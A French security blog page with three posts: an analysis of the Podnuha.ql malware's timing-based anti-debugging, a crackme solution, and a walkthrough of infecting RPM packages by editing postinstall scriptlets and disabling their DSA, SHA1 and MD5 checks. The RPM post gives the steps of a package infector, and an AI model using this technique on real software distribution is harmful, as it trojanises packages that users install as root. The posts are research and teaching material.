Nicolas SURRIBAS

Développement / Réseau / Sécurité Informatique

malware

Analyse du malware Podnuha.ql : première partie

Rédigé par devloop - -

Introduction

Les différents articles que l'on peut trouver sur ce blog offrent une assez bonne vision des sous domaines existants de la sécurité informatique. Mais ce qui manquait réellement sur ce blog c'était un article sur l'analyse de malwares Windows.

Cette lacune va être comblée par le présent article et les articles qui devront suivre sur l'analyse du même exécutable. Dans chaque article nous avancerons un peu plus dans le fonctionnement du malware jusqu'à (si tout se passe bien) parvenir à découvrir sa charge finale ou comprendre son fonctionnement dans sa totalité.

Toute remarque ou observation est la bienvenue.

Présentation du malware

Le malware a été trouvé dans le code HTML d'une page malicieuse il y a un bon temps maintenant. Cette page exploitait une vulnérabilité dans Apple Quicktime : RTSP Response Header Content-Type Remote Stack Based Buffer Overflow.
Si l'exploitation fonctionnait ce malware était exécuté sur la machine vulnérable.


Il est détecté avec AVG comme BackDoor.Generic9.AZFP, par F-Secure comme Rootkit.Win32.Podnuha.ql et par McAfee comme "Generic Dropper". Quand à ClamAV, il n'y voit aucun danger :|
Lr programme fait 132Ko (135168 octets), sa somme de controle MD5 est b4f3f938ef77ae369c13fcc26006658b.

Logiciels utilisés pour l'analyse

L'analyse en dead-listing (désassemblage) s'est faite depuis HT Editor sous Linux. Je l'utilise principalement parce qu'il tourne sur cette plateforme et que ses fonctionnalités correspondent généralement à mes attentes. On peut naviguer dans le code assembleur, voir les références (appels, sauts, adresses mémoires), renommer et insérer des labels, placer des commentaires...
En revanche il rencontre des difficultés sur les exécutables non conventionnels (headers réduits, obfuscation du code...) ce qui peut être un problème pour l'analyse d'un malware.
Dans notre cas, et bien que le malware analysé intègre toute sorte de protections, la lecture depuis HT Editor ne pose pas de problème significatifs.

Pour épauler HTE, OllyDBG a été utilisé pour tracer l'exécution du programme. Cette analyse "live" s'est effectuée depuis un Windows XP de base (sans service pack installé) virtualisé par VirtualBox depuis un Win7.
OllyDBG n'a été lancé sur des portions de code qu'une fois leur lecture effectuée précédemment depuis HTE.

Analyse rapide du programme

L'analyse des sections ne révèle rien de particulier. Trois sections avec des droits d'accès standards : .text (droits RX), .data (RW) et .rdata (R). Toutefois la taille de la section .data est impressionante comparée aux autres sections, ce qui laisse entrevoir la présence de ressources dissimulées...



La table des imports indique l'utilisations de fonctions diverses destinées à la gestion de chaines de caractères (lstrcpynA, lstrcatA, MultiByteToWideChar...), la gestion des dossiers (FindFirstFileA, GetTempPathA, MoveFileA...), des fonctions de gestion de la mémoire, des fonctions de temps (GetTickCount, Sleep) ou encore des fonctions de gestion d'évennements (CreateEventA, WaitForSingleObject, TranslateMessage, DispatchMessageA, GetMessageA).

Un "strings" sur le binaire ne retourne pas plus que le nom des fonctions importées, ce qui laisse supposer que les chaines de caractères sont encodées dans l'exécutable. De même aucune fonction concernant la création de fichiers, l'accès à la base de registre ou des appels réseau ne semble appelée par l'exécutable, ce qui est un peu "gros" pour un fichier considéré comme "backdoor" ou "trojan" par certains logiciels antivirus.
Pour rester dans le louche, un appel est fait à la fonction VirtualProtect qui pourrait bien dissimuler un code auto-modifiable ou la présence d'un packer.

Première plongée dans le code

Le point d'entré est typique d'une application graphique compilée avec un compilateur Microsoft. On y retrouve un prologue qui met en place un SEH puis appelle dans l'ordre les fonctions GetCommandLineA, GetStartupInfoA et GetModuleHandleA. Les résultats obtenus de ces commandes sont passées en argument au vrai "début" du programme en suivant le prototype classique d'une fonction WinMain.
Au sortir de cette fonction, la valeur de retour est là aussi passée à une fonction d'épilogue classique insérée par le compilateur et qui termine le processus.

PEiD confirme d'ailleurs mon impression en détectant le compilateur Microsoft Visual C++ 6 et indique que le malware est de type Windows + GUI.
Si aucun packer n'est détecté, PEiD calcule tout de même une entropie de 7.2.

Dès l'arrivé dans le main (situé à l'adresse 0x004024a7), le programme effectue plusieurs appels à la fonction GetTickCount.
Les premiers appels sont effectués depuis une fonction que j'ai baptisé "calcul_delais_temps" dont le code assembleur commenté est le suivant :

...... ! calcul_delais_temps:            ;xref c4024b4
...... !   push        ebp
40243e !   mov         ebp, esp
402440 !   sub         esp, 8
402443 ! time ref #1
...... !   call        dword ptr [KERNEL32.DLL:GetTickCount]
402449 !   mov         [ebp-4], eax
40244c ! sleep(100ms)
...... !   push        64h
40244e !   call        dword ptr [KERNEL32.DLL:Sleep]
402454 ! time ref #2
...... !   call        dword ptr [KERNEL32.DLL:GetTickCount]
40245a !   mov         [ebp-8], eax
40245d !   mov         eax, [ebp-8]
402460 !   sub         eax, [ebp-4]
402463 !   mov         [ebp-8], eax
402466 ! delais <= 51ms ?
...... !   cmp         dword ptr [ebp-8], 33h
40246a ! on saute
...... !   jnc         loc_402470
40246c !   xor         eax, eax
40246e !   jmp         loc_4024a3
402470 ! 401ms
...... ! loc_402470:                     ;xref j40246a
...... !   cmp         dword ptr [ebp-8], 191h
402477 !   jnc         loc_402480
402479 ! on retourne 6 et on quitte
...... !   mov         eax, 6
40247e !   jmp         loc_4024a3
402480 ! 801ms
...... ! loc_402480:                     ;xref j402477
...... !   cmp         dword ptr [ebp-8], 321h
402487 !   jnc         loc_402490
402489 !   mov         eax, 2
40248e !   jmp         loc_4024a3
402490 ! 1801ms
...... ! loc_402490:                     ;xref j402487
...... ! loc_402490:                     ;xref j402487
...... !   cmp         dword ptr [ebp-8], 709h
402497 !   jnc         loc_4024a0
402499 !   mov         eax, 1bh
40249e !   jmp         loc_4024a3
4024a0 !
...... ! loc_4024a0:                     ;xref j402497
...... !   or          eax, 0ffffffffh
4024a3 !
...... ! loc_4024a3:                     ;xref j40246e j40247e j40248e
...... !                                 ;xref j40249e
...... !   mov         esp, ebp
4024a5 !   pop         ebp
4024a6 !   ret


Cette fonction fait deux appels à GetTickCount avec, entre les deux, un appel à la fonction Sleep. Les résultats des appels successifs à GetTickCount sont soustrait l'un à l'autre et comparés à différentes valeurs. En fonction du résultat des comparaisons, une valeur différente sera placée dans le registre eax (valeur de retour). Bien sûr il n'y a pas de raisons que cette soustraction donne un résultat différent de 100ms (à quelques millisecondes près) car c'est la période durant laquelle le programme va effectuer le Sleep()... à moins que bien sûr le programme soit débogué et que l'exécution soit ralentie.
Les valeurs possibles retournées par le fonction sont 0, 2, 6 et 27. Si tout est ok (temps d'exécution normal), la fonction doit retourner 6.

Ca se complique un (tout) petit peu plus ensuite. Le programme utilise 3 variables :
  • une variable locale qui semble destinée à contenir un pointeur sur fonction, initialisé avec la valeur 0x004023b0.
  • une variable locale contenant le résultat de la fonction calcul_delais_temps() vue précédemment. Cette variable ne sera pas modifiée.
  • une variable globale que j'ai baptisé "magic_int" car appellée à différents endroits du code et initialisée à 79h (79 en hexa soit 121 en décimal).


Notre adresse de fonction est rapidement xorée avec la valeur 5ee2h, elle devient donc 0x00407D52.
Une première référence de temps est ensuite gardée de côté par GetTickCount().

On entre ensuite dans deux boucles.
La première a un compteur initialisé à 4 et incrémenté de 1 à chaque passage jusqu'à 4008 (exclu). A chaque passage de cette boucle une fonction que j'ai nommé "calcul_sur_magic_int" (vous devinez pourquoi) est appellée avec comme argument la valeur du compteur.
On passe ensuite à une seconde boucle, compteur initialisé à 1 pour aller jusqu'à 1001 (exclu). Cette boucle appelle toujours calcul_sur_magic_int mais cette fois avec la valeur 12 comme argument. Elle fait aussi appelle à une fonction qui peut paraître étrange au début que j'ai baptisé "wait_10ms".
Une fois ces deux boucles passées, un nouvel appel à GetTickCount (l'auteur semble aimer cette fonction) est effectué pour obtenir une seconde référence de temps.

4024d1 ! Get time ref #1
...... !   call        dword ptr [KERNEL32.DLL:GetTickCount]
4024d7 !   mov         [ebp-0ch], eax
4024da ! i = 4
...... !   mov         dword ptr [ebp-1ch], 4
4024e1 !   jmp         boucle_4008
4024e3 ! boucle while
...... ! inc_boucle_4008:                ;xref j402502
...... !   mov         ecx, [ebp-1ch]
4024e6 ! i++
...... !   add         ecx, 1
4024e9 !   mov         [ebp-1ch], ecx
4024ec ! i >= 4008 ? quite la boucle : boucle
...... ! boucle_4008:                    ;xref j4024e1
...... !   cmp         dword ptr [ebp-1ch], 0fa8h
4024f3 !   jnl         fin_boucle_4008
4024f5 !   mov         dx, [ebp-1ch]
4024f9 !   push        edx
4024fa !   call        calcul_sur_magic_int
4024ff !   add         esp, 4
402502 !   jmp         inc_boucle_4008
402504 !
...... ! fin_boucle_4008:                ;xref j4024f3
...... !   mov         dword ptr [ebp-18h], 0
40250b !   jmp         boucle_1001
40250d !
...... ! inc_boucle_1001:                ;xref j402533
...... !   mov         eax, [ebp-18h]
402510 !   add         eax, 1
402513 !   mov         [ebp-18h], eax
402516 !
...... ! boucle_1001:                    ;xref j40250b
...... !   cmp         dword ptr [ebp-18h], 3e9h
40251d !   jnl         fin_boucle_1001
40251f !   push        0ah
402521 !   call        wait_10ms
402526 !   add         esp, 4
402529 !   push        0ch
40252b !   call        calcul_sur_magic_int
402530 !   add         esp, 4
402533 !   jmp         inc_boucle_1001
402535 ! Get time ref #2
...... ! fin_boucle_1001:                ;xref j40251d
...... !   call        dword ptr [KERNEL32.DLL:GetTickCount]


La question est bien sûr de savoir ce que fait la fonction calcul_sur_magic_int : elle fait des maths ! A noter que cette fonction est appellée à 8 endroits différents du programme.

...... ! calcul_sur_magic_int:           ;xref c401455 c401474 c4014dc
...... !                                 ;xref c4014fa c401518 c40180b
...... !                                 ;xref c4024fa c40252b
...... !   push        ebp
402110 !   mov         ebp, esp
402112 !   mov         eax, [magic_int]
402117 !   imul        eax, eax, 7d17h
40211d !   add         eax, 13h
402120 !   mov         [magic_int], eax
402125 !   mov         ecx, [magic_int]
40212b !   and         ecx, 7fffh
402131 !   mov         [magic_int], ecx
402137 !   mov         eax, [magic_int]
40213c !   shr         eax, 2
40213f !   mov         ecx, [ebp+8]
402142 !   and         ecx, 0ffffh
402148 !   xor         edx, edx
40214a !   div         eax, ecx
40214c !   mov         ax, dx
40214f !   pop         ebp
402150 !   ret


On remarque que les modifications effectuées sur magic_int s'arrêtent à l'adresse 402131 et aussi que l'argument passé à la fonction n'intervient en rien dans sa modification !
La fonction retourne une valeur calculée en fonction de cet argument et de magic_int.
Pour le moment la valeur de retour de calcul_sur_magic_int (et par conséquent la valeur de son argument) ne nous intéressent pas car les boucles n'en ont pas l'utilité !

Il ne nous reste plus qu'à étudier "wait_10ms", fonction appellée dans la seconde boucle. Cette fonction est équivalente à un Sleep() de 10ms mais avec les fonctions utilisées c'est moins visible car ça revient à attendre un temps maximum (10ms de timeout) que se réalise un événement dont on sait à l'avance qu'il n'aura jamais lieu :

...... ! wait_10ms:                      ;xref c4021eb c4021fe c40241d
...... !                                 ;xref c402521
...... !   push        ebp
401386 !   mov         ebp, esp
401388 !   push        ecx
401389 !   push        data_4200a0
40138e !   push        0
401390 !   push        1
401392 !   push        0
401394 !   call        dword ptr [KERNEL32.DLL:CreateEventA]
40139a !   mov         [ebp-4], eax
40139d !   mov         eax, [ebp+8]
4013a0 ! time to wait = 0x0a = 10ms
...... !   push        eax
4013a1 !   mov         ecx, [ebp-4]
4013a4 !   push        ecx
4013a5 !   call        dword ptr [KERNEL32.DLL:WaitForSingleObject]
4013ab !   mov         edx, [ebp-4]
4013ae !   push        edx
4013af !   call        dword ptr [KERNEL32.DLL:CloseHandle]
4013b5 !   mov         esp, ebp
4013b7 !   pop         ebp
4013b8 !   ret


Après être sorti de cette seconde boucle, une nouvelle référence de temps est prise et un délais est calculée à l'aide de la première.
Si vous avez bien suivi, vous savez que la fonction wait_10ms est appellée 1001 fois... Il se passe donc normalement un délais de 10 secondes (à quelques millisecondes près) entre les deux appels à GetTickCount.

Après ces deux boucles la mystèrieuse adresse (qui était restée à 0x00407D52) est xoré avec magic_int. L'objectif de ces étapes a pour seul but principal d'obscurcir la valeur de cette adresse mais aussi de faire en sorte que le programme agisse différemment s'il est débogué.
C'est malgré tout assez trivial car il n'y a pas d'inconnues : tout est connu à l'avance et l'adresse obtenue à ce stade du programme sera inlassablement la même, quelque soit le délais d'exécution.

L'instruction à l'adresse 402559 se charge de placer cette adresse en mémoire selon le code suivant :
mov [eax*4+magic_buffer], ecx

"magic_buffer" est une adresse mémoire (41da3c), eax correspond au résultat de calcul_delais_temps (c'est à dire 6) et ecx à notre (déjà moins) mystérieuse adresse.

Mais cette zone mémoire peut à nouveau être réécrite juste après le calcul du delais (qui rappellons le doit faire 10 secondes). Ce délais est à nouveau comparé à différentes valeurs et en fonction de cela l'adresse écrite peut être remplacée par une autre adresse.
Parmis les adresses candidates, l'un effectue un Sleep() de 3 secondes avant de quitter (adresse = 402300) et l'autre vaut 0.

Il ne reste alors dans le WinMain que deux appels à des fonctions.
La première que j'ai baptisé poétiquement "antifuck", car mesure supplémentaire du malware pour ne pas se faire analyser, prend deux arguments : le 4ème argument du WinMain (ici SW_SHOWDEFAULT soit 10) et la valeur 0.
La seconde fonction appelée est la fameuse adresse écrite en mémoire :
call dword ptr [eax*4+magic_buffer]


Quelle est cette adresse ? On peut bien sûr l'avoir en placant un breakpoint sur ce call ou le calculer à la main.
J'ai écrit pour l'occasion un code en C qui réimplémente les boucles et la fonction de calcul :

#include <stdio.h>
unsigned int magic = 0x79;

unsigned int calcul(unsigned int x)
{
  unsigned int ret;
  magic = ((magic * 0x7d17) + 0x13) & 0x7fff;
  ret = magic >> 2;
  ret = ret / (x & 0xffff);
  return (ret & 0xffff);
}

int main(int argc, char *argv[])
{
  unsigned int addr = 0x4023b0;
  unsigned int i;

  addr = addr ^ 0x5ee2;
  for (i=4; i<4008; i++)
  {
    calcul(i);
  }

  for (i=0; i<1001; i++)
  {
    calcul(12);
  }
  addr = addr ^ magic;

  printf("Adresse cachee = %p\n", addr);
  return 0;
}


Le résultat est le suivant :

Adresse cachee = 0x4023b0



A suivre

Dans le prochain épisode nous étudierons le fonctionnement de la fonction "antifuck".
D'ici là j'aurais sans doute rajouté quelques petits éléments à cet article.

Classé dans : Non classé - Mots clés : malware

Solution du crackme grainne

Rédigé par devloop - -

Il s'agit d'un crackme linux de stefanie qui a été proposé sur crackmes.de ainsi que sur son blog.

Une fois que l'on a téléchargé le binaire et fait quelques tests, on se dit que ça ne va pas être de la tarte.
$ file grainne
grainne: ELF 32-bit LSB executable, Intel 80386, version 1, statically linked, corrupted section header size

L'exécutable ne fait que 595 octets. Autant dire qu'il a été cuisiné maison et n'est pas passé par gcc. D'autres mesures ont aussi dû être prises pour réduire la taille du fichier.

Si on essaye d'étudier le programme avec des programmes habituels, tous se cassent les dents. Objdump renvoit "File format not recognized", HT Editor nous donne "unexpected end of file" et pour gdb... le fichier n'est pas un exécutable !

readelf nous donne quelques infos avant de jeter l'éponge :
$ readelf -a grainne
readelf: Error: Unable to read in 0xe800 bytes of section headers
ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 73 74 65 66 75 21 75 7c
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       115
  Type:                              EXEC (Executable file)
  Machine:                           Intel 80386
  Version:                           0x1
  Entry point address:               0x804800c
  Start of program headers:          76 (bytes into file)
  Start of section headers:          76 (bytes into file)
  Flags:                             0x0
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         2
  Size of section headers:           59392 (bytes)
  Number of section headers:         65498
  Section header string table index: 65535 <corrupt: out of range>
readelf: Error: Out of memory allocating 0xe7dd9000 bytes for section headers
readelf: Error: Section headers are not available!
Abandon

ELFsh sera plus bavard :
$ elfsh -f grainne -p

 [*] Object grainne has been loaded (O_RDONLY)

 [Program Header Table .::. PHT]
 [Object grainne]

 [00] 0x08048000 -> 0x08048253 r-x memsz(00000595) foffset(00000000) filesz(00000595) align(00004096) => Loadable segment
 [01] 0x080480FB -> 0x0804834E rw- memsz(00000595) foffset(00000251) filesz(00000074) align(00004096) => Loadable segment

Le point d'entrée du programme (début des instructions) est à 0x804800c. Or 0x08048000 correspond au début du fichier (offset 0). Donc on peu désassembler le programme à partir de l'octet 12 (0xC) à l'aide de ndisasm :
0804800C  7521              jnz 0x804802f
0804800E  757C              jnz 0x804808c
08048010  0200              add al,[eax]
08048012  0300              add eax,[eax]
08048014  0100              add [eax],eax
08048016  0000              add [eax],al
08048018  0C80              or al,0x80

Seules les deux premières instructions ont l'air correctes. Il faut dire aussi quelles se trouvent en plein milieu de l'entête du fichier ^_^
Si on désassemble à l'adresse 0x804802f (ndisasm -o 0x804802f -b 32 -e 47 grainne), on obtient un call 0x804800e qui nous ramène au second saut conditionnel que l'on a vu tout à l'heure.

On arrive enfin à des instructions lisibles en suivant le nouveau saut :
$ ndisasm -o 0x804808c -b 32 -e 140 grainne
0804808C  BFFFFFFFFF        mov edi,0xffffffff
08048091  5A                pop edx
08048092  8915FB800408      mov [0x80480fb],edx
08048098  BEFFFFFFFF        mov esi,0xffffffff
0804809D  8B15FB800408      mov edx,[0x80480fb]
080480A3  FF12              call near [edx]
080480A5  8B15FB800408      mov edx,[0x80480fb]
080480AB  81C208000000      add edx,0x8
080480B1  FF12              call near [edx]
...

Pour être franc, je 'ai rien compris à cette portion de code lors de mon étude, et sans un débugger capable de fonctionner sur le binaire, difficile de savoir ce qu'il se passe réellement.

J'ai donc décidé de chercher ailleurs une partie de code qui serait intéressante. Je l'ai finalement trouvée à tâtons à l'offset 325.
C'est la partie du binaire qui se trouve après la seconde "section" donnée par ELFsh : 251 (foffset) + 74 (filesz) = 325 (145 en hexa)

Reste à trouver à quelle adresse virtuelle cette section correspond.
0x8048000 + 0x145 = 0x8048145
La commande à taper sera alors "ndisasm -o 0x8048145 -b 32 -e 325 grainne"

On se retrouve face à quelques routines anti-débogage qui empèchent par exemple strace de faire tourner correctement le programme :
08048145  B830000000        mov eax,0x30
0804814A  BB05000000        mov ebx,0x5
0804814F  B91B820408        mov ecx,0x804821b
08048154  CD80              int 0x80           <- signal(SIGTRAP,0x804821b)
08048156  CC                int3

Le code utilise l'appel système signal pour que la fonction se trouvant à l'adresse 0x804821b soit appelée si le signal SIGTRAP est levé. Juste après, ce signal est levé avec int3 pour exécuter la fonction.
Dans le cas où le programme est tracé avec strace, l'instruction int3 n'aura pas d'effet et notre fonction ne sera pas appelée.

On trouve aussi à plusieurs reprises dans le code la suite d'instruction suivante :
push dword 0xbadc0de
ret

En fait ces instructions n'ont pas d'intérêt sinon de compliquer la compréhension et fausser le désassemblage.

Dans une condition normale d'utilisation, le programme appellera la fonction déclarée par signal(), soit les instructions suivantes :
0804821B  B804000000        mov eax,0x4
08048220  BB01000000        mov ebx,0x1
08048225  B9FF800408        mov ecx,0x80480ff
0804822A  BA23000000        mov edx,0x23
0804822F  CD80              int 0x80            <- write(1,"shut up and crack me already...\n-> ",35)
08048231  C3                ret

Sur le moment je n'ai pas compris le sens du ret puisqu'à première vue on ne vient pas d'un call. Mais je me trompais car le code est bien appelé depuis un call dans la section du programme que j'ai laissé tomber. Je n'ai compris cela que bien après, en lisant le billet de stefanie sur le crackme.

Plus tard le programme lit 12 octets sur l'entrée standard et effectue un XOR sur chaque octet à l'aide d'une variable incrémentée à chaque fois (variable initialisée à 0x1a) :
080481D4  B90A000000        mov ecx,0xa         <- i=12
080481D9  BA1A000000        mov edx,0x1a
080481DE  BF22810408        mov edi,0x8048122    <- buffer lu
080481E3  3117              xor [edi],edx
080481E5  42                inc edx
080481E6  47                inc edi
080481E7  E2FA              loop 0x80481e3     <- ecx--;

Le résultat est ensuite comparé à une chaine hardcodée (Jsysy?pIGMg). Il suffisait de suivre l'algorithme de cryptage sur cette chaine pour trouver la bonne clé.

Un crackme très intéressant mais que j'aurais préféré résoudre en comprenant tous les procédés utilisés.
Je vous renvoie aux explications que l'auteur donne sur le sujet.

Classé dans : Non classé - Mots clés : malware

Attaques sur le format RPM

Rédigé par devloop - -

Introduction
Les applications Open Source ont une bonne réputation en termes de sécurité et de respect de la vie privée car tout le monde peut jeter un coup d'oeil au code et détecter une éventuelle faille ou système espion. Cela a par exemple permis de détecter rapidement la présence d'une backdoor dans Wordpress avant que trop de dégats soient causés.
Mais afin que les utilisateurs puissent installer rapidement et sans connaissances en programmation des logiciels sous Linux, divers formats d'archivage ont été créé comme le format rpm et le format deb.
Les fichiers rpm, que l'on peut comparer aux installeurs sous Windows, sont couremment utilisés par les débutants comme les plus confirmés. C'est aussi un format utilisé pour distribuer des applications closed-source comme Opera.
C'est pour cela que j'ai décidé de jeter un coup d'oeil au format RPM pour essayer de trouver en angle d'attaque.

Le format RPM : un format casse-bonbon
J'avais regardé une première fois les spécifications il y a quelques temps, histoire d'avoir un apperçu du format RPM. Mais le document qui me servait de référence n'était pas à jour.
En fait même si la structure générale n'a pas évolué, des valeurs ayant une signification bien définie (les "tags" que nous verront plus tard) continuent à être ajoutés au format.

Un fichier RPM peut être divisé en 4 parties :
  • L'entête définissant l'archive RPM elle-même
  • Une section de signatures permettant de vérifier l'intégrité de l'archive RPM
  • Une section définissant les fichiers une fois désarchivés
  • Les fichiers, compactés au format cpio et compressés avec gzip

Les documents qui m'ont aidé à comprendre ce format sont les suivants :
Linux Standard Base Specification 1.3 : Package File Format
Linux Standard Base Core Specification 3.1 : Package File Format
Maximum RPM : RPM File Format
Fedora Project : RPM Package File Structure

Le "lead" (ou rpmlead) est la première section du fichier. Il donne des informations sur la version du format RPM utilisé, l'architecture et le système d'exploitation auxquels sontdestinés les exécutables etc
struct rpmlead {
    unsigned char magic[4];
    unsigned char major, minor;
    short type;
    short archnum;
    char name[66];
    short osnum;
    short signature_type;
    char reserved[16];
} ;

Il faut noter que ce lead ce termine par 16 octets non-utilisés car réservés pour une éventuelle utilisation future.
Ce que l'on retiendra pour cette section est que sa taille est de 96 octets.

La seconde et la troisième partie d'un fichier RPM (signatures et headers) sont construites sur le même modèle.
Cela commence par un entête qui indique le nombre d'éléments présents dans la section ainsi que la taille globale des données de cette section. Cet entête fait 16 octets et est le suivant :
struct rpmheader {
    unsigned char magic[4];
    unsigned char reserved[4];
    int nindex;
    int hsize;
} ;

Le "magic" qui sert à identifier le début de la section est fixé à trois octets dont la valeur est "\x8e\xad\xe8". Un quatrième octet permet de spécifier le numéro de version de la structure.
Le "nindex" donne le nombre d'entrées présentes dans la section et le "hsize" la somme de la taille des entrées (plus explicitement la somme du contenu de chaque entrée).
En effet après ce header on a deux sections dans cette structure : les descripteurs des entrées et les entrées elles-même. Les descripteurs sont regroupés. Viennent ensuite les données plaçées les unes après les autres.
Une section ressemblera par exemple à ça :


Les "index record", représentés ici en vert, sont les descripteurs dont nous avons parlé. Leur taille est de 16 octets chacun, leur structure est la suivante :
struct rpmhdrindex {
    int tag;
    int type;
    int offset;
    int count;
} ;

Le "tag" sert a définir l'utilité (l'identité) de l'entrée. Chaque valeur du tag a sa signification et on peut trouver des tableaux de correspondance dans les documents que j'ai cité. Selon que l'on soit dans la section Signature ou la section Header, ces valeurs n'auront pas la même signification.
Le type définie le contenu de l'entrée, s'il s'agit d'un entier de 32 bits, d'une chaine de caractères, d'un tableau de chaines etc.
Viennent ensuite l'offset (adresse) définissant le placement en octets où se trouve le contenu de l'entrée ainsi que "count" qui correspond à la taille de l'entrée en octets.
Si ces deux variables sont présentes c'est que, comme le montre l'image, les entrées ne sont par forcément dans le bon ordre. De plus du "padding" (de l'espace vide) peut être présent entre deux entrées.
Notez aussi que l'offset correspond à l'adresse relative au début des entrées. Ainsi dans mon image, l'offset de l'index numéro 2 sera 0.

La quatrième et dernière section correspond aux fichiers contenus dans l'archive, regroupés au format cpio et compressés avec gzip. Ces données étant difficilement accessibles (il faut passer par une décompression pour y accèder) nous ne nous y intéresserons pas. De plus cela sorterait quelque peu du format RPM.

Tagging
On va plutôt fouiller du côté des tags de la troisième section (Header).
La liste des tags listés sur le document de Fedora est divisée en plusieurs catégories :
  • Header entry tag identifiers : ce sont les tags renseignants sur la logiciel, son nom, sa licence, sa catégorie logicielle, sa description...
  • Installation tags : décrivent quelques opérations doivent être effectuées et comment après installation et/ou avant la désinstallation.
  • File information tags : décrit les droits, les propriétaires, les sommes MD5, les dates de modification... de chaque fichier.
  • Dependency tags : donne la liste des logiciels nécessaires au bon fonctionnement du présent logiciel


Les tags d'information sont assez sensibles. On pourait par exemple faire en sorte qu'un fichier soit world-writeable (écrasable par tous) ou qu'un exécutable ait le bit setuid root. Mais cette possibilité n'est pas assez générale et risque d'être trop dépendante du logiciel.

Scripts d'installation
Nous allons plutôt nous pencher sur les tags servant à préparer/finaliser l'installation ou la désinstallation d'un RPM.
Les fichiers RPM peuvent spécifier deux séries de commandes qui seront respectivement installées après l'installation et avant la désinstallation. Ces scripts sont présents dans la section Header (ce sont des "index record") et sont donc accessibles en clair dans le fichier.

Les tags concernant les scripts de pre/post-install sont les suivant :
  • 1023 = RPMTAG_PREIN : script de pré-installation
  • 1024 = RPMTAG_POSTIN : script de post-installation
  • 1025 = RPMTAG_PREUN : script de pré-désinstallation
  • 1026 = RPMTAG_POSTUN : script de post-désinstallation
  • 1085 = RPMTAG_PREINPROG : interpréteur utilisé pour le script de pré-installation
  • 1086 = RPMTAG_POSTINPROG : interpréteur utilisé pour le script de post-installation
  • 1087 = RPMTAG_PREUNPROG : interpréteur utilisé pour le script de pré-désinstallation
  • 1088 = RPMTAG_POSTUNPROG : interpréteur utilisé pour le script de post-désinstallation

Pour effectuer mes tests j'ai utilisé le RPM du logiciel Netcat, le couteau suisse réseau.
On peut facilement vérifier la présence de ces scripts dans le RPM avec la commande suivante :
rpm -q --scripts -p netcat-0.7.1-1.i386.rpm
attention: netcat-0.7.1-1.i386.rpm: Entête V3 DSA signature: NOKEY, key ID b2d79fc1
postinstall scriptlet (using /bin/sh):
/sbin/install-info /usr/share/info/netcat.info.gz /usr/share/info/dir
preuninstall scriptlet (using /bin/sh):
if [ "$1" = 0 ]; then
    /sbin/install-info --delete /usr/share/info/netcat.info.gz /usr/share/info/dir
fi

Ici seulement deux scripts sont présents (post-installation et pré-désinstallation) et /bin/sh est l'interpréteur utilisé.

Let's go !
Si vous désirez étudier la structure d'un fichier RPM je vous conseille d'utiliser le programme Hachoir qui a une bele interface ncurses (ou wxWidgets) pour décortiquer chaque section.
Par contre sous Hachoir les "magics" sont nommés "signatures" et les tags ne sont pas distingués selon que l'on se trouve dans la 2ième ou la 3ième section (ce que peut porter à confusion).
Les moins équipés peuvent utiliser un GHex2, un KHexEdit... ou un hexdump.

Pour les modifications nous allons utiliser un éditeur hexa quelconque (ghex2 pour moi).
On ouvre le fichier, on retrouve les scripts et on les remplace par nos commandes. Il faut prendre soin de ne pas dépasser la taille allouée pour chacun des scripts (un octet null sépare les deux scripts).
On final j'ai les deux scipts suivants (complétés par des espaces en fin de chaine) :
echo postinstall;touch /tmp/postinstall
echo preuninstall;touch /tmp/preuninstall

Je tente une installation (une mise à jour chez moi car netcat est déjà présent), et là c'est le drame :
# rpm -Uvh netcat-0.7.1-1.i386.rpm
erreur: netcat-0.7.1-1.i386.rpm: Entête V3 DSA signature: BAD, key ID b2d79fc1
erreur: netcat-0.7.1-1.i386.rpm ne peut être installé

La section Signatures fait des siennes !! On retrouve dans la doc le numéro de tag correspondant à RPMSIGTAG_DSA : 267

Le format des signatures est décrit dans la RFC 2440 : OpenPGP Message Format.
Mais nous n'avons ni le temps ni l'envie de nous occuper de cette signature DSA... surtout qu'elle est marquée comme optionnelle dans la spécification RPM !
Nous retrouvons facilement notre entrée dans le fichier RPM (267 = 0x10B) :


On passe le 10B en 20B et on réessaye :
erreur: netcat-0.7.1-1.i386.rpm: Hachage de l'entête SHA1: BAD
Expected(d7c18efe6738936c307e957412af73f644e343cc) != (e533a19829c98b3a42d1692aec1b2f5dee17fe32)
erreur: netcat-0.7.1-1.i386.rpm ne peut être installé

:(
Après une nouvelle modification, cette fois du tag RPMSIGTAG_SHA1 (269 = 0x10D), on fait un nouvel essai :
rpm -Uvh netcat-0.7.1-1.i386.rpm
Préparation...              ########################################### [100%]
   1:netcat                 ########################################### [100%]
postinstall

Bingo !!
# ls -l /tmp/postinstall
-rw-r--r-- 1 root root 0 mai  8 18:59 /tmp/postinstall

g0tr00t ?
Et si je remet la version pécédente de netcat avec YaST, le fichier /tmp/preuninstall est créé.

Infecteur de RPM
Pour le plaisir j'ai développé un programme en Python qui infecte un payload (avec un petit 'p', à ne pas confondre avec le Payload du fichier RPM) et le place à la suite du script de post-installation (le payload doit commencer par le caractère ';').
Les étapes réalisés par ce programme sont :
  1. Ouvrir le fichier RPM
  2. Passer 104 octets (les 96 octets du lead + 8 premiers octets du Signature Header)
  3. Lire le nombre d'éléments dans la section Signature
  4. Lire la taille du "store" de la Signature (somme totale de la taille des éléments)
  5. Lire tous les rpmhdrindex de la Signature
  6. Repérer celui correspondant à RPMSIGTAG_SIZE (1000) qui spécifie la taille que doit faire le Header + Payload
  7. Repérer celui correspondant à RPMSIGTAG_MD5 (1004) qui spécifie le hash MD5 128 bits du Header + Payload
  8. Réécrire la table des rpmhdrindex en bypassant les signatures qui nous embêtent
  9. Réécrire la valeur RPMSIGTAG_SIZE en y ajoutant size(payload)
  10. Lire l'entête de la section Header, en extraire le nombre d'élément et la taille de son "store"
  11. Récupérer l'offset quand le tag est RPMTAG_POSTIN
  12. Ajouter size(payload) à l'offset de toutes les entrées situées après celle correspondant à notre script de post-install
  13. Augmenter la taille du store de Header de size(payload)
  14. Insérer notre payload
  15. Recalculer md5(Header + Payload) et remplacer la valeur dans la section Signature


Le code est ici : RPM Infector

On est reparti :
# python rpminfector.py
######################
Payload size is 28
Found 7 items in the Signature
Signature store size is 216
Rewriting signature headers
Length of header + payload is 123472
New size is 123500
Found 61 items in header
Store size is 4208
Post-Installation is at offset 642
Calculating new headers
Fixing store size to 4236
Injecting payload
Fixing md5sum to 59bb0a37045eb4e956ec893553cac173
